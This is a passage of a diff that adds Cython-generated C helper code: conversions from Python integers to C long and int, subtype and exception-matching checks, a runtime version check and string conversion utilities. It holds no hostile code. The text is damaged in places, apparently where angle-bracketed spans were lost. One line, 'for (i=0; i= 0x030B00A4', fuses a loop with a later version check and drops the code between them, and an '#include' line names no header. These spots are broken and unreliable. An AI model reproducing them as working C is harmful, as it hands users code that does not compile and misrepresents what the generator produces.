__PYX_VERIFY_RETURN_INT(long, unsigned long, (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(long) >= 2 * PyLong_SHIFT)) { + return (long) (((((long)digits[1]) << PyLong_SHIFT) | (long)digits[0])); + } + } + break; + case 3: + if ((8 * sizeof(long) > 2 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 3 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(long) >= 3 * PyLong_SHIFT)) { + return (long) (((((((long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0])); + } + } + break; + case 4: + if ((8 * sizeof(long) > 3 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 4 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(long) >= 4 * PyLong_SHIFT)) { + return (long) (((((((((long)digits[3]) << PyLong_SHIFT) | (long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0])); + } + } + break; + } + } +#endif +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX < 0x030C00A7 + if (unlikely(Py_SIZE(x) < 0)) { + goto raise_neg_overflow; + } +#else + { + int result = PyObject_RichCompareBool(x, Py_False, Py_LT); + if (unlikely(result < 0)) + return (long) -1; + if (unlikely(result == 1)) + goto raise_neg_overflow; + } +#endif + if ((sizeof(long) <= sizeof(unsigned long))) { + __PYX_VERIFY_RETURN_INT_EXC(long, unsigned long, PyLong_AsUnsignedLong(x)) +#ifdef HAVE_LONG_LONG + } else if ((sizeof(long) <= sizeof(unsigned PY_LONG_LONG))) { + __PYX_VERIFY_RETURN_INT_EXC(long, unsigned PY_LONG_LONG, PyLong_AsUnsignedLongLong(x)) +#endif + } + } else { +#if CYTHON_USE_PYLONG_INTERNALS + if (__Pyx_PyLong_IsCompact(x)) { + __PYX_VERIFY_RETURN_INT(long, __Pyx_compact_pylong, __Pyx_PyLong_CompactValue(x)) + } else { + const digit* digits = __Pyx_PyLong_Digits(x); + assert(__Pyx_PyLong_DigitCount(x) > 1); + switch (__Pyx_PyLong_SignedDigitCount(x)) { + case -2: + if ((8 * sizeof(long) - 1 > 1 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 2 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(long, long, -(long) (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(long) - 1 > 2 * PyLong_SHIFT)) { + return (long) (((long)-1)*(((((long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); + } + } + break; + case 2: + if ((8 * sizeof(long) > 1 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 2 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(long) - 1 > 2 * PyLong_SHIFT)) { + return (long) ((((((long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); + } + } + break; + case -3: + if ((8 * sizeof(long) - 1 > 2 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 3 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(long, long, -(long) (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(long) - 1 > 3 * PyLong_SHIFT)) { + return (long) (((long)-1)*(((((((long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); + } + } + break; + case 3: + if ((8 * sizeof(long) > 2 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 3 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(long) - 1 > 3 * PyLong_SHIFT)) { + return (long) ((((((((long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); + } + } + break; + case -4: + if ((8 * sizeof(long) - 1 > 3 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 4 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(long, long, -(long) (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(long) - 1 > 4 * PyLong_SHIFT)) { + return (long) (((long)-1)*(((((((((long)digits[3]) << PyLong_SHIFT) | (long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); + } + } + break; + case 4: + if ((8 * sizeof(long) > 3 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 4 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(long) - 1 > 4 * PyLong_SHIFT)) { + return (long) ((((((((((long)digits[3]) << PyLong_SHIFT) | (long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); + } + } + break; + } + } +#endif + if ((sizeof(long) <= sizeof(long))) { + __PYX_VERIFY_RETURN_INT_EXC(long, long, PyLong_AsLong(x)) +#ifdef HAVE_LONG_LONG + } else if ((sizeof(long) <= sizeof(PY_LONG_LONG))) { + __PYX_VERIFY_RETURN_INT_EXC(long, PY_LONG_LONG, PyLong_AsLongLong(x)) +#endif + } + } + { + long val; + int ret = -1; +#if PY_VERSION_HEX >= 0x030d00A6 && !CYTHON_COMPILING_IN_LIMITED_API + Py_ssize_t bytes_copied = PyLong_AsNativeBytes( + x, &val, sizeof(val), Py_ASNATIVEBYTES_NATIVE_ENDIAN | (is_unsigned ? Py_ASNATIVEBYTES_UNSIGNED_BUFFER | Py_ASNATIVEBYTES_REJECT_NEGATIVE : 0)); + if (unlikely(bytes_copied == -1)) { + } else if (unlikely(bytes_copied > (Py_ssize_t) sizeof(val))) { + goto raise_overflow; + } else { + ret = 0; + } +#elif PY_VERSION_HEX < 0x030d0000 && !(CYTHON_COMPILING_IN_PYPY || CYTHON_COMPILING_IN_LIMITED_API) || defined(_PyLong_AsByteArray) + int one = 1; int is_little = (int)*(unsigned char *)&one; + unsigned char *bytes = (unsigned char *)&val; + ret = _PyLong_AsByteArray((PyLongObject *)x, + bytes, sizeof(val), + is_little, !is_unsigned); +#else + PyObject *v; + PyObject *stepval = NULL, *mask = NULL, *shift = NULL; + int bits, remaining_bits, is_negative = 0; + int chunk_size = (sizeof(long) < 8) ? 30 : 62; + if (likely(PyLong_CheckExact(x))) { + v = __Pyx_NewRef(x); + } else { + v = PyNumber_Long(x); + if (unlikely(!v)) return (long) -1; + assert(PyLong_CheckExact(v)); + } + { + int result = PyObject_RichCompareBool(v, Py_False, Py_LT); + if (unlikely(result < 0)) { + Py_DECREF(v); + return (long) -1; + } + is_negative = result == 1; + } + if (is_unsigned && unlikely(is_negative)) { + Py_DECREF(v); + goto raise_neg_overflow; + } else if (is_negative) { + stepval = PyNumber_Invert(v); + Py_DECREF(v); + if (unlikely(!stepval)) + return (long) -1; + } else { + stepval = v; + } + v = NULL; + val = (long) 0; + mask = PyLong_FromLong((1L << chunk_size) - 1); if (unlikely(!mask)) goto done; + shift = PyLong_FromLong(chunk_size); if (unlikely(!shift)) goto done; + for (bits = 0; bits < (int) sizeof(long) * 8 - chunk_size; bits += chunk_size) { + PyObject *tmp, *digit; + long idigit; + digit = PyNumber_And(stepval, mask); + if (unlikely(!digit)) goto done; + idigit = PyLong_AsLong(digit); + Py_DECREF(digit); + if (unlikely(idigit < 0)) goto done; + val |= ((long) idigit) << bits; + tmp = PyNumber_Rshift(stepval, shift); + if (unlikely(!tmp)) goto done; + Py_DECREF(stepval); stepval = tmp; + } + Py_DECREF(shift); shift = NULL; + Py_DECREF(mask); mask = NULL; + { + long idigit = PyLong_AsLong(stepval); + if (unlikely(idigit < 0)) goto done; + remaining_bits = ((int) sizeof(long) * 8) - bits - (is_unsigned ? 0 : 1); + if (unlikely(idigit >= (1L << remaining_bits))) + goto raise_overflow; + val |= ((long) idigit) << bits; + } + if (!is_unsigned) { + if (unlikely(val & (((long) 1) << (sizeof(long) * 8 - 1)))) + goto raise_overflow; + if (is_negative) + val = ~val; + } + ret = 0; + done: + Py_XDECREF(shift); + Py_XDECREF(mask); + Py_XDECREF(stepval); +#endif + if (unlikely(ret)) + return (long) -1; + return val; + } +raise_overflow: + PyErr_SetString(PyExc_OverflowError, + "value too large to convert to long"); + return (long) -1; +raise_neg_overflow: + PyErr_SetString(PyExc_OverflowError, + "can't convert negative value to long"); + return (long) -1; +} + +/* CIntFromPy */ + static CYTHON_INLINE int __Pyx_PyInt_As_int(PyObject *x) { +#ifdef __Pyx_HAS_GCC_DIAGNOSTIC +#pragma GCC diagnostic push +#pragma GCC diagnostic ignored "-Wconversion" +#endif + const int neg_one = (int) -1, const_zero = (int) 0; +#ifdef __Pyx_HAS_GCC_DIAGNOSTIC +#pragma GCC diagnostic pop +#endif + const int is_unsigned = neg_one > const_zero; +#if PY_MAJOR_VERSION < 3 + if (likely(PyInt_Check(x))) { + if ((sizeof(int) < sizeof(long))) { + __PYX_VERIFY_RETURN_INT(int, long, PyInt_AS_LONG(x)) + } else { + long val = PyInt_AS_LONG(x); + if (is_unsigned && unlikely(val < 0)) { + goto raise_neg_overflow; + } + return (int) val; + } + } +#endif + if (unlikely(!PyLong_Check(x))) { + int val; + PyObject *tmp = __Pyx_PyNumber_IntOrLong(x); + if (!tmp) return (int) -1; + val = __Pyx_PyInt_As_int(tmp); + Py_DECREF(tmp); + return val; + } + if (is_unsigned) { +#if CYTHON_USE_PYLONG_INTERNALS + if (unlikely(__Pyx_PyLong_IsNeg(x))) { + goto raise_neg_overflow; + } else if (__Pyx_PyLong_IsCompact(x)) { + __PYX_VERIFY_RETURN_INT(int, __Pyx_compact_upylong, __Pyx_PyLong_CompactValueUnsigned(x)) + } else { + const digit* digits = __Pyx_PyLong_Digits(x); + assert(__Pyx_PyLong_DigitCount(x) > 1); + switch (__Pyx_PyLong_DigitCount(x)) { + case 2: + if ((8 * sizeof(int) > 1 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 2 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(int) >= 2 * PyLong_SHIFT)) { + return (int) (((((int)digits[1]) << PyLong_SHIFT) | (int)digits[0])); + } + } + break; + case 3: + if ((8 * sizeof(int) > 2 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 3 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(int) >= 3 * PyLong_SHIFT)) { + return (int) (((((((int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0])); + } + } + break; + case 4: + if ((8 * sizeof(int) > 3 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 4 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(int) >= 4 * PyLong_SHIFT)) { + return (int) (((((((((int)digits[3]) << PyLong_SHIFT) | (int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0])); + } + } + break; + } + } +#endif +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX < 0x030C00A7 + if (unlikely(Py_SIZE(x) < 0)) { + goto raise_neg_overflow; + } +#else + { + int result = PyObject_RichCompareBool(x, Py_False, Py_LT); + if (unlikely(result < 0)) + return (int) -1; + if (unlikely(result == 1)) + goto raise_neg_overflow; + } +#endif + if ((sizeof(int) <= sizeof(unsigned long))) { + __PYX_VERIFY_RETURN_INT_EXC(int, unsigned long, PyLong_AsUnsignedLong(x)) +#ifdef HAVE_LONG_LONG + } else if ((sizeof(int) <= sizeof(unsigned PY_LONG_LONG))) { + __PYX_VERIFY_RETURN_INT_EXC(int, unsigned PY_LONG_LONG, PyLong_AsUnsignedLongLong(x)) +#endif + } + } else { +#if CYTHON_USE_PYLONG_INTERNALS + if (__Pyx_PyLong_IsCompact(x)) { + __PYX_VERIFY_RETURN_INT(int, __Pyx_compact_pylong, __Pyx_PyLong_CompactValue(x)) + } else { + const digit* digits = __Pyx_PyLong_Digits(x); + assert(__Pyx_PyLong_DigitCount(x) > 1); + switch (__Pyx_PyLong_SignedDigitCount(x)) { + case -2: + if ((8 * sizeof(int) - 1 > 1 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 2 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(int, long, -(long) (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(int) - 1 > 2 * PyLong_SHIFT)) { + return (int) (((int)-1)*(((((int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); + } + } + break; + case 2: + if ((8 * sizeof(int) > 1 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 2 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(int) - 1 > 2 * PyLong_SHIFT)) { + return (int) ((((((int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); + } + } + break; + case -3: + if ((8 * sizeof(int) - 1 > 2 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 3 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(int, long, -(long) (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(int) - 1 > 3 * PyLong_SHIFT)) { + return (int) (((int)-1)*(((((((int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); + } + } + break; + case 3: + if ((8 * sizeof(int) > 2 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 3 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(int) - 1 > 3 * PyLong_SHIFT)) { + return (int) ((((((((int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); + } + } + break; + case -4: + if ((8 * sizeof(int) - 1 > 3 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 4 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(int, long, -(long) (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(int) - 1 > 4 * PyLong_SHIFT)) { + return (int) (((int)-1)*(((((((((int)digits[3]) << PyLong_SHIFT) | (int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); + } + } + break; + case 4: + if ((8 * sizeof(int) > 3 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 4 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(int) - 1 > 4 * PyLong_SHIFT)) { + return (int) ((((((((((int)digits[3]) << PyLong_SHIFT) | (int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); + } + } + break; + } + } +#endif + if ((sizeof(int) <= sizeof(long))) { + __PYX_VERIFY_RETURN_INT_EXC(int, long, PyLong_AsLong(x)) +#ifdef HAVE_LONG_LONG + } else if ((sizeof(int) <= sizeof(PY_LONG_LONG))) { + __PYX_VERIFY_RETURN_INT_EXC(int, PY_LONG_LONG, PyLong_AsLongLong(x)) +#endif + } + } + { + int val; + int ret = -1; +#if PY_VERSION_HEX >= 0x030d00A6 && !CYTHON_COMPILING_IN_LIMITED_API + Py_ssize_t bytes_copied = PyLong_AsNativeBytes( + x, &val, sizeof(val), Py_ASNATIVEBYTES_NATIVE_ENDIAN | (is_unsigned ? Py_ASNATIVEBYTES_UNSIGNED_BUFFER | Py_ASNATIVEBYTES_REJECT_NEGATIVE : 0)); + if (unlikely(bytes_copied == -1)) { + } else if (unlikely(bytes_copied > (Py_ssize_t) sizeof(val))) { + goto raise_overflow; + } else { + ret = 0; + } +#elif PY_VERSION_HEX < 0x030d0000 && !(CYTHON_COMPILING_IN_PYPY || CYTHON_COMPILING_IN_LIMITED_API) || defined(_PyLong_AsByteArray) + int one = 1; int is_little = (int)*(unsigned char *)&one; + unsigned char *bytes = (unsigned char *)&val; + ret = _PyLong_AsByteArray((PyLongObject *)x, + bytes, sizeof(val), + is_little, !is_unsigned); +#else + PyObject *v; + PyObject *stepval = NULL, *mask = NULL, *shift = NULL; + int bits, remaining_bits, is_negative = 0; + int chunk_size = (sizeof(long) < 8) ? 30 : 62; + if (likely(PyLong_CheckExact(x))) { + v = __Pyx_NewRef(x); + } else { + v = PyNumber_Long(x); + if (unlikely(!v)) return (int) -1; + assert(PyLong_CheckExact(v)); + } + { + int result = PyObject_RichCompareBool(v, Py_False, Py_LT); + if (unlikely(result < 0)) { + Py_DECREF(v); + return (int) -1; + } + is_negative = result == 1; + } + if (is_unsigned && unlikely(is_negative)) { + Py_DECREF(v); + goto raise_neg_overflow; + } else if (is_negative) { + stepval = PyNumber_Invert(v); + Py_DECREF(v); + if (unlikely(!stepval)) + return (int) -1; + } else { + stepval = v; + } + v = NULL; + val = (int) 0; + mask = PyLong_FromLong((1L << chunk_size) - 1); if (unlikely(!mask)) goto done; + shift = PyLong_FromLong(chunk_size); if (unlikely(!shift)) goto done; + for (bits = 0; bits < (int) sizeof(int) * 8 - chunk_size; bits += chunk_size) { + PyObject *tmp, *digit; + long idigit; + digit = PyNumber_And(stepval, mask); + if (unlikely(!digit)) goto done; + idigit = PyLong_AsLong(digit); + Py_DECREF(digit); + if (unlikely(idigit < 0)) goto done; + val |= ((int) idigit) << bits; + tmp = PyNumber_Rshift(stepval, shift); + if (unlikely(!tmp)) goto done; + Py_DECREF(stepval); stepval = tmp; + } + Py_DECREF(shift); shift = NULL; + Py_DECREF(mask); mask = NULL; + { + long idigit = PyLong_AsLong(stepval); + if (unlikely(idigit < 0)) goto done; + remaining_bits = ((int) sizeof(int) * 8) - bits - (is_unsigned ? 0 : 1); + if (unlikely(idigit >= (1L << remaining_bits))) + goto raise_overflow; + val |= ((int) idigit) << bits; + } + if (!is_unsigned) { + if (unlikely(val & (((int) 1) << (sizeof(int) * 8 - 1)))) + goto raise_overflow; + if (is_negative) + val = ~val; + } + ret = 0; + done: + Py_XDECREF(shift); + Py_XDECREF(mask); + Py_XDECREF(stepval); +#endif + if (unlikely(ret)) + return (int) -1; + return val; + } +raise_overflow: + PyErr_SetString(PyExc_OverflowError, + "value too large to convert to int"); + return (int) -1; +raise_neg_overflow: + PyErr_SetString(PyExc_OverflowError, + "can't convert negative value to int"); + return (int) -1; +} + +/* FastTypeChecks */ + #if CYTHON_COMPILING_IN_CPYTHON +static int __Pyx_InBases(PyTypeObject *a, PyTypeObject *b) { + while (a) { + a = __Pyx_PyType_GetSlot(a, tp_base, PyTypeObject*); + if (a == b) + return 1; + } + return b == &PyBaseObject_Type; +} +static CYTHON_INLINE int __Pyx_IsSubtype(PyTypeObject *a, PyTypeObject *b) { + PyObject *mro; + if (a == b) return 1; + mro = a->tp_mro; + if (likely(mro)) { + Py_ssize_t i, n; + n = PyTuple_GET_SIZE(mro); + for (i = 0; i < n; i++) { + if (PyTuple_GET_ITEM(mro, i) == (PyObject *)b) + return 1; + } + return 0; + } + return __Pyx_InBases(a, b); +} +static CYTHON_INLINE int __Pyx_IsAnySubtype2(PyTypeObject *cls, PyTypeObject *a, PyTypeObject *b) { + PyObject *mro; + if (cls == a || cls == b) return 1; + mro = cls->tp_mro; + if (likely(mro)) { + Py_ssize_t i, n; + n = PyTuple_GET_SIZE(mro); + for (i = 0; i < n; i++) { + PyObject *base = PyTuple_GET_ITEM(mro, i); + if (base == (PyObject *)a || base == (PyObject *)b) + return 1; + } + return 0; + } + return __Pyx_InBases(cls, a) || __Pyx_InBases(cls, b); +} +#if PY_MAJOR_VERSION == 2 +static int __Pyx_inner_PyErr_GivenExceptionMatches2(PyObject *err, PyObject* exc_type1, PyObject* exc_type2) { + PyObject *exception, *value, *tb; + int res; + __Pyx_PyThreadState_declare + __Pyx_PyThreadState_assign + __Pyx_ErrFetch(&exception, &value, &tb); + res = exc_type1 ? PyObject_IsSubclass(err, exc_type1) : 0; + if (unlikely(res == -1)) { + PyErr_WriteUnraisable(err); + res = 0; + } + if (!res) { + res = PyObject_IsSubclass(err, exc_type2); + if (unlikely(res == -1)) { + PyErr_WriteUnraisable(err); + res = 0; + } + } + __Pyx_ErrRestore(exception, value, tb); + return res; +} +#else +static CYTHON_INLINE int __Pyx_inner_PyErr_GivenExceptionMatches2(PyObject *err, PyObject* exc_type1, PyObject *exc_type2) { + if (exc_type1) { + return __Pyx_IsAnySubtype2((PyTypeObject*)err, (PyTypeObject*)exc_type1, (PyTypeObject*)exc_type2); + } else { + return __Pyx_IsSubtype((PyTypeObject*)err, (PyTypeObject*)exc_type2); + } +} +#endif +static int __Pyx_PyErr_GivenExceptionMatchesTuple(PyObject *exc_type, PyObject *tuple) { + Py_ssize_t i, n; + assert(PyExceptionClass_Check(exc_type)); + n = PyTuple_GET_SIZE(tuple); +#if PY_MAJOR_VERSION >= 3 + for (i=0; i= 0x030B00A4 + return Py_Version & ~0xFFUL; +#else + const char* rt_version = Py_GetVersion(); + unsigned long version = 0; + unsigned long factor = 0x01000000UL; + unsigned int digit = 0; + int i = 0; + while (factor) { + while ('0' <= rt_version[i] && rt_version[i] <= '9') { + digit = digit * 10 + (unsigned int) (rt_version[i] - '0'); + ++i; + } + version += factor * digit; + if (rt_version[i] != '.') + break; + digit = 0; + factor >>= 8; + ++i; + } + return version; +#endif +} +static int __Pyx_check_binary_version(unsigned long ct_version, unsigned long rt_version, int allow_newer) { + const unsigned long MAJOR_MINOR = 0xFFFF0000UL; + if ((rt_version & MAJOR_MINOR) == (ct_version & MAJOR_MINOR)) + return 0; + if (likely(allow_newer && (rt_version & MAJOR_MINOR) > (ct_version & MAJOR_MINOR))) + return 1; + { + char message[200]; + PyOS_snprintf(message, sizeof(message), + "compile time Python version %d.%d " + "of module '%.100s' " + "%s " + "runtime version %d.%d", + (int) (ct_version >> 24), (int) ((ct_version >> 16) & 0xFF), + __Pyx_MODULE_NAME, + (allow_newer) ? "was newer than" : "does not match", + (int) (rt_version >> 24), (int) ((rt_version >> 16) & 0xFF) + ); + return PyErr_WarnEx(NULL, message, 1); + } +} + +/* InitStrings */ + #if PY_MAJOR_VERSION >= 3 +static int __Pyx_InitString(__Pyx_StringTabEntry t, PyObject **str) { + if (t.is_unicode | t.is_str) { + if (t.intern) { + *str = PyUnicode_InternFromString(t.s); + } else if (t.encoding) { + *str = PyUnicode_Decode(t.s, t.n - 1, t.encoding, NULL); + } else { + *str = PyUnicode_FromStringAndSize(t.s, t.n - 1); + } + } else { + *str = PyBytes_FromStringAndSize(t.s, t.n - 1); + } + if (!*str) + return -1; + if (PyObject_Hash(*str) == -1) + return -1; + return 0; +} +#endif +static int __Pyx_InitStrings(__Pyx_StringTabEntry *t) { + while (t->p) { + #if PY_MAJOR_VERSION >= 3 + __Pyx_InitString(*t, t->p); + #else + if (t->is_unicode) { + *t->p = PyUnicode_DecodeUTF8(t->s, t->n - 1, NULL); + } else if (t->intern) { + *t->p = PyString_InternFromString(t->s); + } else { + *t->p = PyString_FromStringAndSize(t->s, t->n - 1); + } + if (!*t->p) + return -1; + if (PyObject_Hash(*t->p) == -1) + return -1; + #endif + ++t; + } + return 0; +} + +#include +static CYTHON_INLINE Py_ssize_t __Pyx_ssize_strlen(const char *s) { + size_t len = strlen(s); + if (unlikely(len > (size_t) PY_SSIZE_T_MAX)) { + PyErr_SetString(PyExc_OverflowError, "byte string is too long"); + return -1; + } + return (Py_ssize_t) len; +} +static CYTHON_INLINE PyObject* __Pyx_PyUnicode_FromString(const char* c_str) { + Py_ssize_t len = __Pyx_ssize_strlen(c_str); + if (unlikely(len < 0)) return NULL; + return __Pyx_PyUnicode_FromStringAndSize(c_str, len); +} +static CYTHON_INLINE PyObject* __Pyx_PyByteArray_FromString(const char* c_str) { + Py_ssize_t len = __Pyx_ssize_strlen(c_str); + if (unlikely(len < 0)) return NULL; + return PyByteArray_FromStringAndSize(c_str, len); +} +static CYTHON_INLINE const char* __Pyx_PyObject_AsString(PyObject* o) { + Py_ssize_t ignore; + return __Pyx_PyObject_AsStringAndSize(o, &ignore); +} +#if __PYX_DEFAULT_STRING_ENCODING_IS_ASCII || __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT +#if !CYTHON_PEP393_ENABLED +static const char* __Pyx_PyUnicode_AsStringAndSize(PyObject* o, Py_ssize_t *length) { + char* defenc_c; + PyObject* defenc = _PyUnicode_AsDefaultEncodedString(o, NULL); + if (!defenc) return NULL; + defenc_c = PyBytes_AS_STRING(defenc); +#if __PYX_DEFAULT_STRING_ENCODING_IS_ASCII + { + char* end = defenc_c + PyBytes_GET_SIZE(defenc); + char* c; + for (c = defenc_c; c < end; c++) { + if ((unsigned char) (*c) >= 128) { + PyUnicode_AsASCIIString(o); + return NULL; + } + } + } +#endif + *length = PyBytes_GET_SIZE(defenc); + return defenc_c; +} +#else +static CYTHON_INLINE const char* __Pyx_PyUnicode_AsStringAndSize(PyObject* o, Py_ssize_t *length) { + if (unlikely(__Pyx_PyUnicode_READY(o) == -1)) return NULL; +#if __PYX_DEFAULT_STRING_ENCODING_IS_ASCII + if (likely(PyUnicode_IS_ASCII(o))) { + *length = PyUnicode_GET_LENGTH(o); + return PyUnicode_AsUTF8(o); + } else { + PyUnicode_AsASCIIString(o); + return NULL; + } +#else + return PyUnicode_AsUTF8AndSize(o, length); +#endif +} +#endif +#endif +static CYTHON_INLINE const char* __Pyx_PyObject_AsStringAndSize(PyObject* o, Py_ssize_t *length) { +#if __PYX_DEFAULT_STRING_ENCODING_IS_ASCII || __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT + if ( +#if PY_MAJOR_VERSION < 3 && __PYX_DEFAULT_STRING_ENCODING_IS_ASCII + __Pyx_sys_getdefaultencoding_not_ascii && +#endif + PyUnicode_Check(o)) { + return __Pyx_PyUnicode_AsStringAndSize(o, length); + } else +#endif +#if (!CYTHON_COMPILING_IN_PYPY && !CYTHON_COMPILING_IN_LIMITED_API) || (defined(PyByteArray_AS_STRING) && defined(PyByteArray_GET_SIZE)) + if (PyByteArray_Check(o)) { + *length = PyByteArray_GET_SIZE(o); + return PyByteArray_AS_STRING(o); + } else +#endif + { + char* result; + int r = PyBytes_AsStringAndSize(o, &result, length); + if (unlikely(r < 0)) { + return NULL; + } else { + return result; + } + } +} +static CYTHON_INLINE int __Pyx_PyObject_IsTrue(PyObject* x) { + int is_true = x == Py_True; + if (is_true | (x == Py_False) | (x == Py_None)) return is_true; + else return PyObject_IsTrue(x); +} +static CYTHON_INLINE int __Pyx_PyObject_IsTrueAndDecref(PyObject* x) { + int retval; + if (unlikely(!x)) return -1; + retval = __Pyx_PyObject_IsTrue(x); + Py_DECREF(x); + return retval; +} +static PyObject* __Pyx_PyNumber_IntOrLongWrongResultType(PyObject* result, const char* type_name) { + __Pyx_TypeName result_type_name = __Pyx_PyType_GetName(Py_TYPE(result)); +#if PY_MAJOR_VERSION >= 3 + if (PyLong_Check(result)) { + if (PyErr_WarnFormat(PyExc_DeprecationWarning, 1, + "__int__ returned non-int (type " __Pyx_FMT_TYPENAME "). " + "The ability to return an instance of a strict subclass of int is deprecated, " + "and may be removed in a future version of Python.", + result_type_name)) { + __Pyx_DECREF_TypeName(result_type_name); + Py_DECREF(result); + return NULL; + } + __Pyx_DECREF_TypeName(result_type_name); + return result; + } +#endif + PyErr_Format(PyExc_TypeError, + "__%.4s__ returned 